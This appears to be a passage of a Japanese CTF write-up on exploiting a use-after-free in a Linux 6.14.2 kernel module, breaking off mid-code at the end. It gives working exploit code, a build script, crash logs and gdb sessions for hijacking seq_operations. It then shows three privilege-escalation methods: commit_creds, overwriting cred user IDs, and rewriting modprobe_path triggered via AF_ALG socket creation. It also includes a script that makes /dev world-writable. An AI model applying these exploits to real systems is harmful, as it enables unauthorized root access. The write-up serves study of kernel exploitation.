seq_operationsの関数ポインター4個全部を0xAAAAAAAAAAAAAAAAなアドレスに書き換えると、non-canonicalなアドレスを実行しようとするためカーネルクラッシュします。その際、QEMU中マシン起動時の-apend引数内容にloglevel=0があると、カーネルクラッシュ時に何も表示されません。gdbでカーネルデバッグしていても[Inferior 1 (process 1) exited normally]と表示されるだけです。
一方でloglevel=1に変更してQEMU中マシン起動すると、次のようにカーネルクラッシュ時にログ出力として各種レジスタ内容が表示されます:
~ $ /tmp/exploit escalate_privilege = 0x4012f9 vuln 12288 0 - Live 0xffffffffc0000000 (O) UAF Writeします。ENTERキーを押してください。gdbアタッチするなら今がいいです。 readします。このときにUAFによるRIP制御が発動するはずです。 Oops: general protection fault: 0000 [#1] PREEMPT SMP NOPTI CPU: 0 UID: 1000 PID: 66 Comm: exploit Tainted: G O 6.14.2 #1 Tainted: [O]=OOT_MODULE Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 RIP: 0010:0x4141414141414141 Code: Unable to access opcode bytes at 0x4141414141414117. RSP: 0018:ffffc9000015fd60 EFLAGS: 00000246 RAX: 4141414141414141 RBX: 0000000000000000 RCX: 0000000000000000 RDX: 0000000000001000 RSI: ffff888002ef9028 RDI: ffff888002ef9000 RBP: ffffc9000015fdb8 R08: 0000000000000100 R09: 0000000000000000 R10: ffffffff813613a3 R11: 0000000000000000 R12: ffffc9000015fe00 R13: ffffc9000015fdd8 R14: ffffc9000015fee0 R15: ffff888002ef9000 FS: 0000000000408758(0000) GS:ffff888003a00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 4141414141414141 CR3: 0000000002f38000 CR4: 00000000000006f0 Call Trace: <TASK> ? seq_read_iter+0xe6/0x460 ? do_iter_readv_writev+0x136/0x240 seq_read+0x11d/0x150 vfs_read+0xde/0x370 ksys_read+0x71/0xf0 __x64_sys_read+0x18/0x20 x64_sys_call+0x1f1c/0x1f80 do_syscall_64+0x54/0x110 entry_SYSCALL_64_after_hwframe+0x76/0x7e RIP: 0033:0x404304 Code: 07 48 89 47 08 48 29 d1 48 01 d7 eb df f3 0f 1e fa 48 89 f8 4d 89 c2 48 89 f7 4d 89 c8 48 89 d6 4c 8b 4c 24 08 48 89 ca 0f 05 <c3> f3 0f 1e fa e9 d9 ff ff ff f3 0f 1e fa 89 f8 c3 f3 0f 1e fa 48 RSP: 002b:00007ffffe45cea8 EFLAGS: 00000246 ORIG_RAX: 0000000000000000 RAX: ffffffffffffffda RBX: 00007ffffe45cf08 RCX: 0000000000404304 RDX: 0000000000000100 RSI: 00007ffffe45cf08 RDI: 0000000000000004 RBP: 0000000000000004 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000246 R12: 00007ffffe45ced8 R13: 00007ffffe45d078 R14: 0000000000000000 R15: 0000000000000000 </TASK> Modules linked in: vuln(O) ---[ end trace 0000000000000000 ]--- RIP: 0010:0x4141414141414141 Code: Unable to access opcode bytes at 0x4141414141414117. RSP: 0018:ffffc9000015fd60 EFLAGS: 00000246 RAX: 4141414141414141 RBX: 0000000000000000 RCX: 0000000000000000 RDX: 0000000000001000 RSI: ffff888002ef9028 RDI: ffff888002ef9000 RBP: ffffc9000015fdb8 R08: 0000000000000100 R09: 0000000000000000 R10: ffffffff813613a3 R11: 0000000000000000 R12: ffffc9000015fe00 R13: ffffc9000015fdd8 R14: ffffc9000015fee0 R15: ffff888002ef9000 FS: 0000000000408758(0000) GS:ffff888003a00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 4141414141414141 CR3: 0000000002f38000 CR4: 00000000000006f0 Kernel panic - not syncing: Fatal exception Kernel Offset: disabled
今回の場合はRIP内容が、0xAAAAAAAAAAAAAAAAに対応する0x4141414141414141に変更できていることが分かります。そのためloglevel内容は1以上に設定するのが良さそうです。(当該オプションの意味をQEMUドキュメントから探しましたが、見つけられませんでした……。)
Holstein v1: Stack Overflowの悪用 | PAWNYABLE!のROP chainがなぜか動かないけどデバッグするのが面倒な場合箇所に記述されているように、正しくRIPを制御できているか確認する場合にクラッシュするRIPへ変更してログ出力させると、gdbでのカーネルデバッグ無しで動作検証できて便利そうです。
権限昇格エクスプロイト作成試行
ここからは、escalate_privilege関数をどのように実装して権限昇格するかを試行錯誤した形跡を記述します。コンテスト中に3手法を試して、1手法で成功しました。本記事執筆後に、最終的に3手法すべてで成功しました。それぞれの手法を記述します。
成功: commit_creds(&init_cred)またはcommit_creds(prepare_kernel_cred(&init_task))
CakeCTF 2022のwelkerme問題と同様の手法です。ただし当時はcommit_creds(prepare_kernel_cred(NULL))で権限昇格できました。しかしHolstein v1: Stack Overflowの悪用 | PAWNYABLE!にLinuxカーネル6.2からはprepare_kernel_credにNULLが渡せなくなりました。init_credはまだ存在するので、commit_creds(&init_cred)を実行すれば同じことが可能です。との記述がある通り、本問題のLinuxカーネルバージョン6.14.2ではprepare_kernel_cred(NULL)ができなくなっています。もっというとprepare_kernel_credの実装が、引数がNULLならreturn NULLするだけになっています: cred.c - kernel/cred.c - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer
そのため本手法を使うにはinit_credグローバル変数のアドレスも特定する必要があります。なおKASLRは無効であるため、カーネル側の各種関数や変数のアドレスは固定です。
commit_creds等の関数の場合は、grep prepare_kernel_cred /proc/kallsymsでアドレスを確認できました(KADRに注意してください):
~ # grep prepare_kernel_cred /proc/kallsyms ffffffff812a11e0 T __pfx_prepare_kernel_cred ffffffff812a11f0 T prepare_kernel_cred ~ # grep commit_creds /proc/kallsyms ffffffff812a1040 T __pfx_commit_creds ffffffff812a1050 T commit_creds ~ #
しかしinit_cred等の変数の場合は、/proc/kallsymsファイルからの取得に失敗しました:
~ # grep init_cred /proc/kallsyms ~ #
init_cred変数の定義場所そのものはグローバルですが、どういうわけか/proc/kallsymsに含まれないようです: cred.c - kernel/cred.c - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer
init_credグローバル変数のアドレス取得方法をGoogle検索しまくっても、カーネルヒープ中をメモリ探索して見つける方法のみが見つかりました。カーネルヒープのアドレスが分かっていなかったため他の方法を試していました。
IDAでvmlinuxファイルを解析して色々調べていると、prepare_kernel_cred関数の呼び出し元2箇所のうちrequest_firmware関数側で、グローバル変数init_task(アドレス0xFFFFFFFF81E0C480)を引数に呼び出していました:

なおソースコード上では、request_firmware関数が呼び出す先の_request_firmware関数が、prepare_kernel_cred(&init_task)を実行します: main.c - drivers/base/firmware_loader/main.c - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer。
試しにエクスプロイトコードでcommit_creds(prepare_kernel_cred(&init_task))を試すと、権限昇格に成功しました!
なおコンテスト終了後、作問者様による次の書き込みを見つけました:
デバックシンボル付きのvmlinuxを配布しているので、readelf等でアドレスは調べられるはずです!
— r1ru (@ri5255) May 4, 2025
vmlinuxファイルのシンボル情報として、init_credグローバル変数のアドレスも含まれており、readelfコマンドで抽出できるようです!
2025/05/08 04時頃追記: 実際、nmコマンドやreadelfコマンドを使って抽出できました:
$ nm -n vmlinux | grep -e ' prepare_kernel_cred' -e ' commit_creds' -e ' init_task' -e ' init_cred' ffffffff812a1050 T commit_creds ffffffff812a11f0 T prepare_kernel_cred ffffffff81e0c480 D init_task ffffffff81e3bfa0 D init_cred $ readelf --wide --symbols vmlinux | grep -e ' prepare_kernel_cred' -e ' commit_creds' -e ' init_task' -e ' init_cred' 160: 0000000000000000 0 FILE LOCAL DEFAULT ABS init_task.c 86275: ffffffff81e3bfa0 136 OBJECT GLOBAL DEFAULT 12 init_cred 98381: ffffffff81e0c480 6720 OBJECT GLOBAL DEFAULT 12 init_task 98678: ffffffff812a1050 391 FUNC GLOBAL DEFAULT 1 commit_creds 99101: ffffffff812a11f0 301 FUNC GLOBAL DEFAULT 1 prepare_kernel_cred $
その他本記事記述中に気付いたこととして、IDAのメニューからView → Open subviews → Names項目で表示されるNamesタブを見れば、init_credグローバル変数が普通に出てきます!アドレスが0xFFFFFFFF81E3BFA0と分かります!

こちらを使ってcommit_creds(&init_cred)でも権限昇格できます。最終的なソルバーは後述します。ソルバーからescalate_privilege関数を抜粋すると次の内容です:
void* escalate_privilege(void) { // 「grep prepare_kernel_cred /proc/kallsyms」等で確認 auto prepare_kernel_cred = (void *(*)(void *))0xffffffff812a11f0; auto commit_creds = (int (*)(void *))0xffffffff812a1050; // readelfコマンド等で確認 auto init_task = (void *)0xFFFFFFFF81E0C480; auto init_cred = (void *)0xFFFFFFFF81E3BFA0; // どちらでも権限昇格できます if (true) commit_creds(prepare_kernel_cred(init_task)); else commit_creds(init_cred); return 0; }
成功: 自プロセス用のcred構造体中のユーザーID改ざん
プロセスとtask_struct構造体によるとLinux のプロセスは、task_struct 構造体というデータ構造で表現されているとのことです。task_struct構造体は多くのメンバーを持っており、その中にconst struct cred __rcu *cred;メンバーを含みます: sched.h - include/linux/sched.h - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer
cred構造体は各種ユーザーIDやグループIDを保持しています: cred.h - include/linux/cred.h - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer
Holstein v2: Heap Overflowの悪用 | PAWNYABLE!に最近のバージョンではcurrent_taskはグローバルな変数としては廃止され、代わりにCPUごとの空間に保存されており、gsレジスタを使ってアクセスするようになっていますとの記述があります。そのため、gsレジスタ経由で現在プロセスのtaskを取得して、taskからcredを取り出し、cred中の実行IDを0に改ざんできれば、自プロセスをrootユーザーへ権限昇格できそうです。
ただ、どのようにgsレジスタから現在プロセスのタスクを取得するかが分かりませんでした。そもそもコンテスト中は間違って「gsレジスタからcred構造体を直接取れる」と誤解しており、取得結果がcred構造体とは全く別物だったので諦めていました(実際はtask_struct構造体が取れます)。
IDAでvmlinuxファイルを解析して、prepare_kernel_credの呼び出し元2箇所のうちcall_usermodehelper_exec_async側を調べると次の内容でした:
current = (task_struct_21 *)__readgsqword(0x21280u); raw_spin_lock_irq(¤t->sighand->siglock.rlock); flush_signal_handlers(current, 1); raw_spin_unlock_irq(¤t->sighand->siglock.rlock); current->fs->umask = 18; set_user_nice((task_struct_19 *)current, 0); v3 = prepare_kernel_cred((task_struct *)current); // 後略
どうやら__readgsqword(0x21280u)で、task_struct構造体のアドレスを取得できるようです。
なおソースコード上ではcurrentマクロでtask_struct構造体のアドレスを取得しています: umh.c - kernel/umh.c - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer
currentマクロの実装はCPUアーキテクチャにより異なります。ただx64での実装を調べましたがよく分かりませんでした。そもそもcurrent.h - arch/x86/include/asm/current.h - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer内容のarch/x86/側でいいのかもよく分かりません。
ともかく、次は自作エクスプロイトで__readgsqword(0x21280u)相当の処理を実行して、現在プロセスのtask_structを本当に得られるかを実験したいです。別コンパイラのVC++では__readgsword compiler intrinsicが存在するので、gccでも同様のものがあることを期待しました。しかしgccが持つCompiler Intrinsicsは、どうやらx86 Built-in Functions (Using the GNU Compiler Collection (GCC))ページ記載の、CPU情報取得や浮動小数点関連、SIMD関連のようです。そのためgccのインラインアセンブラへ手を出しました(未だにgccの拡張アセンブラ構文が全く分かっていません……調べまくって書きました)。
まずは次の実装で、__readgsqword(0x21280u)相当での取得内容を確認しました:
void* get_current_task() { void* task; __asm__ volatile("mov %%gs:0x21280,%0" :"=r"(task) ); return task; } void* escalate_privilege(void) { auto task = get_current_task(); return task; }
Holstein v2: Heap Overflowの悪用 | PAWNYABLE!で、task_struct構造体中からcredメンバーを探す際のテクニックとして、少し後に存在して現在プロセス名を保持するcommメンバーを探す方法が紹介されています。今回は、pwndbgのtelescopeコマンドで雑にメモリダンプして、実行ELF名exploitが存在するか探しました:
pwndbg> # get_current_task() からreturnした後の状況です pwndbg> p/x $rax $1 = 0xffff888002e5b100 pwndbg> telescope $rax 1000 00:0000│ rax 0xffff888002e5b100 ◂— 0 略 b6:05b0│ 0xffff888002e5b6b0 ◂— 0 b7:05b8│ 0xffff888002e5b6b8 ◂— 0 b8:05c0│ 0xffff888002e5b6c0 —▸ 0xffff888002eb6780 ◂— 4 b9:05c8│ 0xffff888002e5b6c8 —▸ 0xffff888002eb6780 ◂— 4 ba:05d0│ 0xffff888002e5b6d0 ◂— 0x74696f6c707865 /* 'exploit' */ 略
どうやら、offset 0x05d0にtask_struct::commメンバーが存在するようです。複数回実行して、すべて同一オフセットに存在するらしいことを確認しました。どうやら今回のLinuxカーネルバージョンでは__readgsqword(0x21280u)で現在プロセスのtask_structを取得できるようです!また、そうなるとtask_struct::credメンバーは、task_struct::commから0x10引いたアドレスに存在するはずです。
cred構造体は、先頭メンバーがatomic_long_t usageです。typedefを追跡すると、当該型が8バイトと分かりました: atomic64_32.h - arch/x86/include/asm/atomic64_32.h - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer
cred構造体でusageメンバー以降に続くメンバーが、肝心のユーザーIDやグループIDです。それらに使われているtypedefを追跡すると、どちらも4バイト型と分かりました: uidgid_types.h - include/linux/uidgid_types.h - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer
そのため、cred構造体の、3種類のユーザーIDとグループIDを改ざんするには、先頭から[8, 32)バイト目を書き換えれば良さそうです: cred.h - include/linux/cred.h - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer
上記の方針で実装した次のコードでも権限昇格に成功しました:
void* get_current_task() { void* task; __asm__ volatile("mov %%gs:0x21280,%0" :"=r"(task) ); return task; } void* escalate_privilege(void) { auto task = get_current_task(); // どうやら offset 0x05d0 が「char comm[TASK_COMM_LEN];」メンバーの模様 // そこから offset -0x10 の位置にcredメンバーがある auto comm = (char*)task + 0x05d0; if (strcmp(comm, "exploit") == 0) { auto cred = *(unsigned long**)(comm - 0x10); // task_struct::credを間接参照 cred[1] = 0; // cred::uid, cred::gidを改ざん cred[2] = 0; // cred::suid, cred::sgidを改ざん cred[3] = 0; // cred::euid, cred::egidを改ざん return 0; } // 何かが間違っている。NULL参照でカーネルクラッシュさせてデバッグ。 *(int*)(nullptr) = 0; return 0; }
2025/05/08 04時頃追記: gdbデバッグ中に前述したadd-symbol-fileでvmlinuxのシンボル情報を読み込ませておけば、ptypeコマンドで構造体定義が分かって便利です!例えばcred構造体の場合です(typedefされていない型の場合はstruct等のキーワードも併用必須です):
(gdb) add-symbol-file vmlinux 0xffffffff81000000
add symbol table from file "vmlinux" at
.text_addr = 0xffffffff81000000
(y or n) y
Reading symbols from vmlinux...
(gdb) ptype/ox struct cred
/* offset | size */ type = struct cred {
/* 0x0000 | 0x0008 */ atomic_long_t usage;
/* 0x0008 | 0x0004 */ kuid_t uid;
/* 0x000c | 0x0004 */ kgid_t gid;
/* 0x0010 | 0x0004 */ kuid_t suid;
/* 0x0014 | 0x0004 */ kgid_t sgid;
/* 0x0018 | 0x0004 */ kuid_t euid;
/* 0x001c | 0x0004 */ kgid_t egid;
/* 0x0020 | 0x0004 */ kuid_t fsuid;
/* 0x0024 | 0x0004 */ kgid_t fsgid;
/* 0x0028 | 0x0004 */ unsigned int securebits;
/* XXX 4-byte hole */
/* 0x0030 | 0x0008 */ kernel_cap_t cap_inheritable;
/* 0x0038 | 0x0008 */ kernel_cap_t cap_permitted;
/* 0x0040 | 0x0008 */ kernel_cap_t cap_effective;
/* 0x0048 | 0x0008 */ kernel_cap_t cap_bset;
/* 0x0050 | 0x0008 */ kernel_cap_t cap_ambient;
/* 0x0058 | 0x0008 */ struct user_struct *user;
/* 0x0060 | 0x0008 */ struct user_namespace *user_ns;
/* 0x0068 | 0x0008 */ struct ucounts *ucounts;
/* 0x0070 | 0x0008 */ struct group_info *group_info;
/* 0x0078 | 0x0010 */ union {
/* 0x0004 */ int non_rcu;
/* 0x0010 */ struct callback_head {
/* 0x0078 | 0x0008 */ struct callback_head *next;
/* 0x0080 | 0x0008 */ void (*func)(struct callback_head *);
/* total size (bytes): 16 */
} rcu;
/* total size (bytes): 16 */
};
/* total size (bytes): 136 */
}
(gdb)
/oオプションを付与しているため、先頭からの累計オフセットや、各種メンバーのサイズが表示されます。/xを付与しているので16進数表示です。今回のcred構造体のどのoffsetを上書きするべきかが一目でわかります!
なおtask_structのように、flexible array member含む場合は、実に残念ながらオフセットやサイズが全く表示されません:
(gdb) ptype/ox struct task_struct
warning: ptype/o does not work with dynamic types; disabling '/o'
type = struct task_struct {
struct thread_info thread_info;
中略
struct thread_struct thread;
}
(gdb)
理由は、task_structの最後のメンバーがchar member[]形式のincomplete array typeであるためです:
task_struct構造体の最後のメンバーはstruct thread_struct thread;です(コメントにWARNING: on x86, 'thread_struct' contains a variable-sized (改行) structure.とあります): sched.h - include/linux/sched.h - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer- x86アーキテクチャの場合、
thread_struct構造体の最後のメンバーはstruct fpu fpu;です(コメントでもWARNING: 'fpu' is dynamically-sizedとあります): processor.h - arch/x86/include/asm/processor.h - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer - x86アーキテクチャの場合、
fpu構造体の最後のメンバーはstruct fpstate __fpstate;です(コメントでもWARNING: '__fpstate' is dynamically-sized.とあります): types.h - arch/x86/include/asm/fpu/types.h - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer - x86アーキテクチャの場合、
fpstate構造体の最後のメンバーはunion fpregs_state regs;です: types.h - arch/x86/include/asm/fpu/types.h - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer fpregs_state共用体のメンバーの1つがstruct xregs_state xsave;です: types.h - arch/x86/include/asm/fpu/types.h - Linux source code v6.14.2 - Bootlin Elixir Cross Referencerxregs_state構造体の最後のメンバーがu8 extended_state_area[];であり、incomplete array typeです: types.h - arch/x86/include/asm/fpu/types.h - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer
たとえ構造体がincomplete array typeを含んでいても、途中のメンバーまでだけでもoffsetを表示する方法があれば便利そうです……。
最終的に成功: modprobe_pathグローバル変数書き換え(Linuxカーネルのバージョン6.14からは従来手法が使えませんが、AF_ALGソケット作成で実行成功)
Holstein v2: Heap Overflowの悪用 | PAWNYABLE!で、modprobe_pathグローバル変数書き換えによる権限昇格手法が紹介されています。コンテスト中に試しました:
void* escalate_privilege(void) { // import pwn // for addr in pwn.ELF("./vmlinux", checksec=False).search(b"/sbin/modprobe\0"): // print(hex(addr)) // →1つだけ。 // IDAで`modprobe_path`をNamesタブから検索しても同一アドレスであることを確認 auto modprobe_path = (char*)0xffffffff81eaeac0; char src[] = "/tmp/evil.sh"; for (size_t i = 0; i < sizeof(src); ++i) { modprobe_path[i] = src[i]; } // エクスプロイト実行後に「cat /proc/sys/kernel/modprobe」して、変化していることを確認 return 0; }
ただしエクスプロイト実行で/proc/sys/kernel/modprobe内容が変化していることは観測できましたが、どうにも当該ファイルへ記述したファイルが実行されないようでした:
~ $ /tmp/exploit Compiled time: May 6 2025 23:40:57 escalate_privilege = 0x401329 vuln 12288 0 - Live 0xffffffffc0000000 (O) UAF Writeします。ENTERキーを押してください。gdbアタッチするなら今がいいです。 readします。このときにUAFによるRIP制御が発動するはずです。 closeします。後は正常のはずです。 exploit終了です。 ~ $ cat /proc/sys/kernel/modprobe /tmp/evil.sh ~ $ echo -e '#!/bin/sh\nchmod -R 777 /dev' > /tmp/evil.sh ~ $ chmod +x /tmp/evil.sh ~ $ echo -e 'NO_SUCH_AS' > /tmp/pwn ~ $ chmod +x /tmp/pwn ~ $ /tmp/pwn /tmp/pwn: line 1: NO_SUCH_AS: not found ~ $ ls -AlF /dev/sdb brw------- 1 root root 8, 16 May 6 14:56 /dev/sdb ~ $
sec4b-2023 の driver4b で Linux のカーネルエクスプロイトに入門してみる - かえるのひみつきちによると、CONFIG_STATIC_USERMODEHELPERコンフィグの設定によってはmodprobe_pathグローバル変数が使われるとのことです。call_modprobe関数では、modprobe_pathグローバル変数を第1引数に、call_usermodehelper_setup関数を呼び出します。call_usermodehelper_setup関数中では、CONFIG_STATIC_USERMODEHELPERマクロが定義されている場合は第1引数のpath変数(=modprobe_pathグローバル変数)を使わず、固定のCONFIG_STATIC_USERMODEHELPER_PATHマクロ内容を使用するためのようです: umh.c - kernel/umh.c - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer
今回の配布ファイルの.configを見ると、# CONFIG_STATIC_USERMODEHELPER is not setとのコメント記述がありました。どうやら未指定のようで初期値が使われるようです。CONFIG_STATIC_USERMODEHELPERの初期値を調べると、Kconfig hardening tests · BlackIkeEagle's blogにThe tool also suggests CONFIG_STATIC_USERMODEHELPER=y but we don’t have a usermode helper so we’re leaving this out.との記述がありました。この記述ぶりからすると、どうやらCONFIG_STATIC_USERMODEHELPERの初期値はnのようです。そうなるとmodprobe_pathグローバル変数内容が使われるはずで、なぜ実行できないのか……?
2025/05/08 04時頃追記: 本記事公開後、上記手法が使えなくなっている理由を作問者様からご指摘いただきました!以下の理由によります:
- Reviving the modprobe_path Technique: Overcoming search_binary_handler() Patch - Theori BLOGで記述されているようにLinuxカーネルのバージョン
v6.14-rc1から、search_binary_handler関数実装が変化してrequest_moduleマクロを呼び出さないようになりました。今回のLinuxカーネルバージョン6.14.2でも同一です: exec.c - fs/exec.c - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer- そのため、従来手法の「不正なシグネチャを持つファイルを実行」では
request_moduleマクロが実行されないため、modprobe_path経由でのroot権限実行もなされません。
- そのため、従来手法の「不正なシグネチャを持つファイルを実行」では
- 上記記事では
request_moduleマクロが呼び出される別の経路として、当該記事でAF_ALGのソケットを作成してbind関数を呼び出す手法を紹介しています:AF_ALG用のproto_ops構造体で、.bindメンバーにalg_bind関数を設定しています(なおPF_ALGマクロはAF_ALGと同義です): af_alg.c - crypto/af_alg.c - Linux source code v6.14.2 - Bootlin Elixir Cross Referenceralg_bind関数でsockaddr_alg_new *型の引数saを使って、alg_get_type(sa->salg_type)結果が-ENOENT値である場合に、request_moduleマクロを呼び出す分岐が存在します: af_alg.c - crypto/af_alg.c - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer- 上記記事に記載されているように、
sa->salg_typeへ存在しないアルゴリズム種類を格納してbind関数を呼び出せば、request_moduleマクロを呼び出せます。
2025/05/13 00頃追記編集: 05/08時更新では「AF_ALGのsocket作成が失敗するためbind関数を呼び出せず、そのためmodprobe_pathグローバル変数内容の実行も不可」という内容を記述していました。しかし作問者様から、bind関数まで実行する必要はなくsocket作成時点でmodprobe_pathグローバル変数内容が実行されることを改めてご指摘いただきました!
自分でも試してみたのですが、結論から言うとAF_ALG socketを使う方法でもいけます。`socket(AF_ALG, SOCK_SEQPACKET, 0)`が-1を返すのでbindを呼ぶことはできないのですが、[`__sock_create`](https://t.co/b5krTYB7fZ) が`request_module`を実行するので、AF_ALGソケットを作るだけでいいです
— r1ru (@ri5255) 2025年5月11日
__sock_create関数で、#ifdef CONFIG_MODULESプリプロセッサ分岐があります: socket.c - net/socket.c - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer- 今回の問題の場合は、配布ファイルの
.configでCONFIG_MODULES=yと有効設定にしています!CONFIG_MODULESオプションの説明を読むに、もしかしたらinsmodコマンド等を使える状況ならCONFIG_MODULESオプションが有効かもしれません: Kconfig - kernel/module/Kconfig - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer- そうなると、カーネルドライバ系の問題では
CONFIG_MODULESオプションが有効と考えていいのかも?
- そうなると、カーネルドライバ系の問題では
- 今回の問題の場合は、配布ファイルの
- 当該プリプロセッサ分岐内で、
if (rcu_access_pointer(net_families[family]) == NULL)の場合の分岐にrequest_moduleマクロを実行しています!- どうやら
net_families[family]が未設定の場合に該当するようです。少なくともAF_ALG種類のソケット作成時にはrequest_moduleマクロを実行する分岐に入ります。- もしかしたら他の種類のソケット作成でも同様に実行できるかもしれません。
- どうやら
- 後は従来手法同様に、
request_moduleマクロ→__request_module関数→call_modprobe関数の順に呼びだされ、call_modprobe関数中でmodprobe_pathグローバル変数を第1引数としてcall_usermodehelper_setup関数を呼び出します: kmod.c - kernel/module/kmod.c - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer- なお
call_usermodehelper_setup関数側で第1引数を使うのは、CONFIG_STATIC_USERMODEHELPERオプションが未定義の場合に限ります: umh.c - kernel/umh.c - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer
- なお
なお、本問題の環境で試すと、socket(AF_ALG, SOCK_SEQPACKET, 0)関数呼び出しでのソケット作成そのものは失敗しました(errnoがEAFNOSUPPORT(=97), Address family not supported by protocolエラー)。次の要因によりそうです:
- c - Detect availability of Linux kernel's AF_ALG sockets for userland crypto? - Stack Overflowによると
AF_ALGを使えるようにするためにはカーネルビルド時にコンフィグ設定が必要とのことです。 - 本問題の配布
.configでは# CONFIG_CRYPTO is not setとあるため未設定のようです。
一方で上述の通りAF_ALGソケット作成途中でrequest_moduleマクロが実行され、その過程でmodprobe_pathグローバル変数で指定したファイルが実行されます。そのため最終的にソケット作成に失敗しても、差支えありません!
ただし注意点として、どうやらmodprobe_pathグローバル変数で指定したファイルが実行されるとき、標準入出力が紐づいていない状況(/dev/null?)のようです。そのためその段階でフラグ出力やシェル起動はできません。権限変更やファイル書き込み等を行って、後で権限昇格等を行う必要があります。
最終的に成功したコード等を示します。まず、ビルド手順をgccによるコンパイルとmusl-gccによるリンクの2段階へ分割します:
AF_ALG用のsockaddr構造体は、sockaddr_alg構造体またはsockaddr_alg_new構造体のようです: if_alg.h - include/uapi/linux/if_alg.h - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer- それらの構造体は
linux/if_alg.hヘッダーに含まれています。 - しかし
musl-gccのビルド設定ではlinux/if_alg.hヘッダーを見つけられないようです。 - そのような場合、コンパイルとexploitの転送 | PAWNYABLE!に
インクルードパスを設定するかgccでコンパイルする必要があるとのことです。今回はgccでコンパイルするようにしました。
具体的にはbuild.shを次の内容に変更しました:
#!/bin/bash set -eux cd "$(dirname "$0")" # https://pawnyable.cafe/linux-kernel/introduction/compile-and-transfer.html#%E3%83%AA%E3%83%A2%E3%83%BC%E3%83%88%E3%83%9E%E3%82%B7%E3%83%B3%E3%81%A7%E3%81%AE%E5%AE%9F%E8%A1%8C%EF%BC%9Amusl-gcc%E3%81%AE%E5%88%A9%E7%94%A8 # #include <linux/if_alg.h> がmusl-gccでは見つからない扱いとなるので、コンパイルとアセンブルを分ける # https://stackoverflow.com/questions/12201625/disable-using-sprintf-chk/12203365#12203365 # gccがprintfを__printf_chkに変換してしまってmusl-gccでリンクエラーになるのを防ぐため -D_FORTIFY_SOURCE=0 が必要 gcc -g -Os -Wall -Wextra -D_FORTIFY_SOURCE=0 -S -o exploit.S exploit.cpp musl-gcc -g -Os -static -o exploit exploit.S strip exploit # マウントしているファイルシステム中へコピー sudo mount ../rootfs.ext3 ../root cp exploit ../root/tmp/ sudo umount ../root
次のエクスプロイトコードを書きました:
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <errno.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <linux/if_alg.h> // sockaddr_alg用。musl-gccだとヘッダーがありません。そのため「gccでコンパイル」「musl-gccでアセンブルやリンク」に分割します。 #include <tuple> #define CMD_ALLOC 0xf000 #define CMD_WRITE 0xf001 #define CMD_FREE 0xf002 #define OBJ_SIZE 0x20 // system関数用に文字列結合したいので文字列リテラルを#define #define MODIFIED_MODPROBE_PATH "/tmp/evil.sh" // main先頭でアドレスを出力します void* escalate_privilege(void) { // nm vmlinux | grep modprobe_path auto modprobe_path = (char*)0xffffffff81eaeac0; constexpr char modified_modprobe_path[] = MODIFIED_MODPROBE_PATH; for (size_t i = 0; i < sizeof(modified_modprobe_path); ++i) { modprobe_path[i] = modified_modprobe_path[i]; } // エクスプロイト実行後に「cat /proc/sys/kernel/modprobe」して、変化していることを確認 return 0; } typedef struct request_t { size_t size; char *data; } request_t; static_assert(sizeof(request_t) == 0x10); int main() { printf("Compiled time: %s %s\n", __DATE__, __TIME__); printf("escalate_privilege = %p\n", &escalate_privilege); std::ignore = system("cat /proc/modules"); int fd_vuln = open("/dev/vuln", O_RDWR); if (fd_vuln == -1) { perror("Failed to open /dev/vuln"); return 1; } void* (*fake_seq_operations[4])(void) = {&escalate_privilege, &escalate_privilege, &escalate_privilege, &escalate_privilege}; static_assert(sizeof(fake_seq_operations) == OBJ_SIZE); request_t req = { .size = sizeof(fake_seq_operations), .data = (char *)fake_seq_operations, }; // マシン起動から最初のCMD_Allocのみが成功する。 if (ioctl(fd_vuln, CMD_ALLOC, &req) == -1) { perror("ioctl for CMD_ALLOC"); puts("カーネル起動から最初のCMD_ALLOCのみ成功します。"); exit(1); } if (ioctl(fd_vuln, CMD_FREE, &req) == -1) { perror("ioctl for CMD_FREE"); exit(1); } // 同一サイズのseq_operations構造体をUAFで上書き // https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628#seq_operations int fd_stat = open("/proc/self/stat", O_RDONLY); if (fd_vuln == -1) { perror("Failed to open /proc/self/stat"); return 1; } puts("UAF Writeします。ENTERキーを押してください。gdbアタッチするなら今がいいです。"); getchar(); if (ioctl(fd_vuln, CMD_WRITE, &req) == -1) { perror("ioctl for CMD_WRITE"); exit(1); } puts("readします。このときにUAF Write結果によるカーネル権限任意コード実行が発動するはずです。"); char buffer_stat[256] = {}; std::ignore = read(fd_stat, buffer_stat, sizeof(buffer_stat)); puts("closeします。"); close(fd_stat); // modprobe_path書き換え確認 std::ignore = system("cat /proc/sys/kernel/modprobe"); // 書き換えたmodprobe_pathが指すファイルを準備 // どうやらmodprobe_path経由で実行されるバイナリは、標準入出力が紐づいていない模様 // 例えば `cat /dev/sdb` 